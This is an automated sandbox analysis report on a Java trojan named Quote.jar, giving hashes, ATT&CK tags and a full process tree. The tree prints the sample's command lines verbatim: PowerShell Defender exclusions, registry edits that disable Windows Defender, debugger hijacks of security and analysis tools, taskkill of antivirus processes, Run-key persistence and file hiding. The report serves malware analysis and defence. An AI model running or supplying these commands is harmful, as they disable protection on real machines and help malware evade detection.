3d1bd80e9ec2560a482520bad73232921285cf0b47af37b873f56be90498fc7e

Analysis

max time kernel
148s
max time network
130s
platform
windows7_x64
resource
win7v200722
submitted
31-07-2020 11:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Quote.jar
Size

399KB
MD5

2f774f15add4f97cb391452846d017ab
SHA1

b530f9db4bbab82dfcd4896498cc751e639d305b
SHA256

3d1bd80e9ec2560a482520bad73232921285cf0b47af37b873f56be90498fc7e
SHA512

1a459eb9d5757d46febe9f52ce8a22a18dfaa9af80a7d385231c811df5a25a1e87637fea94d68c511c19bc9c406893c5c1acb6ff01f5b51ad0a83425c9daa150

Score

10^/10

persistence discovery evasion trojan

Malware Config

Signatures

Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\ALVLe java.exe
File opened for modification C:\Windows\System32\ALVLe java.exe
Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

108 java.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1056 powershell.exe
1056 powershell.exe

description	ioc	process
File created	C:\Windows\System32\ALVLe	java.exe
File opened for modification	C:\Windows\System32\ALVLe	java.exe

pid	process
108	java.exe

pid	process
1056	powershell.exe
1056	powershell.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1924	taskkill.exe
1232	taskkill.exe
1372	taskkill.exe
1008	taskkill.exe
1372	taskkill.exe
2028	taskkill.exe
1556	taskkill.exe
700	taskkill.exe
1436	taskkill.exe
1832	taskkill.exe
996	taskkill.exe
1756	taskkill.exe
1588	taskkill.exe
1772	taskkill.exe
1440	taskkill.exe
1096	taskkill.exe

Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1592 attrib.exe
1624 attrib.exe
1612 attrib.exe
1552 attrib.exe
1608 attrib.exe
824 attrib.exe
1292 attrib.exe
1580 attrib.exe

pid	process
1592	attrib.exe
1624	attrib.exe
1612	attrib.exe
1552	attrib.exe
1608	attrib.exe
824	attrib.exe
1292	attrib.exe
1580	attrib.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File created	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

108 java.exe

pid	process
108	java.exe

Suspicious use of WriteProcessMemory 753 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 108 wrote to memory of 1376	108	java.exe	cmd.exe
PID 108 wrote to memory of 1376	108	java.exe	cmd.exe
PID 108 wrote to memory of 1376	108	java.exe	cmd.exe
PID 108 wrote to memory of 1112	108	java.exe	cmd.exe
PID 108 wrote to memory of 1112	108	java.exe	cmd.exe
PID 108 wrote to memory of 1112	108	java.exe	cmd.exe
PID 1112 wrote to memory of 1848	1112	cmd.exe	WMIC.exe
PID 1112 wrote to memory of 1848	1112	cmd.exe	WMIC.exe
PID 1112 wrote to memory of 1848	1112	cmd.exe	WMIC.exe
PID 108 wrote to memory of 1896	108	java.exe	cmd.exe
PID 108 wrote to memory of 1896	108	java.exe	cmd.exe
PID 108 wrote to memory of 1896	108	java.exe	cmd.exe
PID 1896 wrote to memory of 1908	1896	cmd.exe	WMIC.exe
PID 1896 wrote to memory of 1908	1896	cmd.exe	WMIC.exe
PID 1896 wrote to memory of 1908	1896	cmd.exe	WMIC.exe
PID 108 wrote to memory of 824	108	java.exe	attrib.exe
PID 108 wrote to memory of 824	108	java.exe	attrib.exe
PID 108 wrote to memory of 824	108	java.exe	attrib.exe
PID 108 wrote to memory of 1292	108	java.exe	attrib.exe
PID 108 wrote to memory of 1292	108	java.exe	attrib.exe
PID 108 wrote to memory of 1292	108	java.exe	attrib.exe
PID 108 wrote to memory of 1580	108	java.exe	attrib.exe
PID 108 wrote to memory of 1580	108	java.exe	attrib.exe
PID 108 wrote to memory of 1580	108	java.exe	attrib.exe
PID 108 wrote to memory of 1592	108	java.exe	attrib.exe
PID 108 wrote to memory of 1592	108	java.exe	attrib.exe
PID 108 wrote to memory of 1592	108	java.exe	attrib.exe
PID 108 wrote to memory of 1624	108	java.exe	attrib.exe
PID 108 wrote to memory of 1624	108	java.exe	attrib.exe
PID 108 wrote to memory of 1624	108	java.exe	attrib.exe
PID 108 wrote to memory of 1612	108	java.exe	attrib.exe
PID 108 wrote to memory of 1612	108	java.exe	attrib.exe
PID 108 wrote to memory of 1612	108	java.exe	attrib.exe
PID 108 wrote to memory of 1552	108	java.exe	attrib.exe
PID 108 wrote to memory of 1552	108	java.exe	attrib.exe
PID 108 wrote to memory of 1552	108	java.exe	attrib.exe
PID 108 wrote to memory of 1608	108	java.exe	attrib.exe
PID 108 wrote to memory of 1608	108	java.exe	attrib.exe
PID 108 wrote to memory of 1608	108	java.exe	attrib.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1184	108	java.exe	cmd.exe
PID 108 wrote to memory of 1056	108	java.exe	powershell.exe
PID 108 wrote to memory of 1056	108	java.exe	powershell.exe
PID 108 wrote to memory of 1056	108	java.exe	powershell.exe
PID 108 wrote to memory of 2028	108	java.exe	taskkill.exe
PID 108 wrote to memory of 2028	108	java.exe	taskkill.exe
PID 108 wrote to memory of 2028	108	java.exe	taskkill.exe
PID 108 wrote to memory of 1504	108	java.exe	reg.exe
PID 108 wrote to memory of 1504	108	java.exe	reg.exe
PID 108 wrote to memory of 1504	108	java.exe	reg.exe
PID 108 wrote to memory of 984	108	java.exe	reg.exe
PID 108 wrote to memory of 984	108	java.exe	reg.exe
PID 108 wrote to memory of 984	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 980	108	java.exe	reg.exe
PID 108 wrote to memory of 1468	108	java.exe	reg.exe
PID 108 wrote to memory of 1468	108	java.exe	reg.exe
PID 108 wrote to memory of 1468	108	java.exe	reg.exe
PID 108 wrote to memory of 1564	108	java.exe	reg.exe
PID 108 wrote to memory of 1564	108	java.exe	reg.exe
PID 108 wrote to memory of 1564	108	java.exe	reg.exe
PID 1184 wrote to memory of 1528	1184	cmd.exe	reg.exe

Suspicious use of AdjustPrivilegeToken 97 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1848	WMIC.exe
Token: SeSecurityPrivilege	1848	WMIC.exe
Token: SeTakeOwnershipPrivilege	1848	WMIC.exe
Token: SeLoadDriverPrivilege	1848	WMIC.exe
Token: SeSystemProfilePrivilege	1848	WMIC.exe
Token: SeSystemtimePrivilege	1848	WMIC.exe
Token: SeProfSingleProcessPrivilege	1848	WMIC.exe
Token: SeIncBasePriorityPrivilege	1848	WMIC.exe
Token: SeCreatePagefilePrivilege	1848	WMIC.exe
Token: SeBackupPrivilege	1848	WMIC.exe
Token: SeRestorePrivilege	1848	WMIC.exe
Token: SeShutdownPrivilege	1848	WMIC.exe
Token: SeDebugPrivilege	1848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1848	WMIC.exe
Token: SeRemoteShutdownPrivilege	1848	WMIC.exe
Token: SeUndockPrivilege	1848	WMIC.exe
Token: SeManageVolumePrivilege	1848	WMIC.exe
Token: 33	1848	WMIC.exe
Token: 34	1848	WMIC.exe
Token: 35	1848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1848	WMIC.exe
Token: SeSecurityPrivilege	1848	WMIC.exe
Token: SeTakeOwnershipPrivilege	1848	WMIC.exe
Token: SeLoadDriverPrivilege	1848	WMIC.exe
Token: SeSystemProfilePrivilege	1848	WMIC.exe
Token: SeSystemtimePrivilege	1848	WMIC.exe
Token: SeProfSingleProcessPrivilege	1848	WMIC.exe
Token: SeIncBasePriorityPrivilege	1848	WMIC.exe
Token: SeCreatePagefilePrivilege	1848	WMIC.exe
Token: SeBackupPrivilege	1848	WMIC.exe
Token: SeRestorePrivilege	1848	WMIC.exe
Token: SeShutdownPrivilege	1848	WMIC.exe
Token: SeDebugPrivilege	1848	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1848	WMIC.exe
Token: SeRemoteShutdownPrivilege	1848	WMIC.exe
Token: SeUndockPrivilege	1848	WMIC.exe
Token: SeManageVolumePrivilege	1848	WMIC.exe
Token: 33	1848	WMIC.exe
Token: 34	1848	WMIC.exe
Token: 35	1848	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1908	WMIC.exe
Token: SeSecurityPrivilege	1908	WMIC.exe
Token: SeTakeOwnershipPrivilege	1908	WMIC.exe
Token: SeLoadDriverPrivilege	1908	WMIC.exe
Token: SeSystemProfilePrivilege	1908	WMIC.exe
Token: SeSystemtimePrivilege	1908	WMIC.exe
Token: SeProfSingleProcessPrivilege	1908	WMIC.exe
Token: SeIncBasePriorityPrivilege	1908	WMIC.exe
Token: SeCreatePagefilePrivilege	1908	WMIC.exe
Token: SeBackupPrivilege	1908	WMIC.exe
Token: SeRestorePrivilege	1908	WMIC.exe
Token: SeShutdownPrivilege	1908	WMIC.exe
Token: SeDebugPrivilege	1908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1908	WMIC.exe
Token: SeRemoteShutdownPrivilege	1908	WMIC.exe
Token: SeUndockPrivilege	1908	WMIC.exe
Token: SeManageVolumePrivilege	1908	WMIC.exe
Token: 33	1908	WMIC.exe
Token: 34	1908	WMIC.exe
Token: 35	1908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1908	WMIC.exe
Token: SeSecurityPrivilege	1908	WMIC.exe
Token: SeTakeOwnershipPrivilege	1908	WMIC.exe
Token: SeLoadDriverPrivilege	1908	WMIC.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

C:\Windows\system32\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Quote.jar
1⤵
- Drops file in System32 directory
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:108

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1376

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1112

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:824

C:\Windows\system32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:1292

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:1580

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:1592

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1624

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1612

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:1552

C:\Windows\system32\attrib.exe
attrib +h +s +r C:\Users\Admin\FVKwo\WbZqr.class
2⤵
- Views/modifies file attributes
PID:1608

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:1528

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:1924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\FVKwo','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\FVKwo\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1056

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
2⤵
- Kills process with taskkill
PID:2028

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1504

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:984

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
PID:980

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
PID:1468

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1564

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
PID:1844

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1864

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1792

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1340

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1588

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:984

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1576

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:1556

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2008

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1460

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1432

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:328

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1568

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1868

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
PID:1008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:1876

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1936

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:1924

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:888

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:832

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1672

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1608

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:1168

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:1732

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1896

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1460

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:1464

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:1432

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1408

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:1728

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1484

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:1756

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1420

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:1796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1676

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:324

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:2040

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:1296

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:1856

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:1896

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:1880

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:1548

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:700

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:1508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:324

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1732

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:1896

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1880

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
PID:1516

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:1640

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1672

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
PID:1436

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:2020

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1500

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:1676

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:1232

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1408

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:64
3⤵
PID:832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:32
3⤵
PID:1116

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1612

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:1504

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:1836

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1932

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
PID:1528

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:1576

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1560

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:1768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:1968

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1896

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:64
3⤵
PID:1548

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:32
3⤵
PID:1640

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
PID:1436

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:1872

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:324

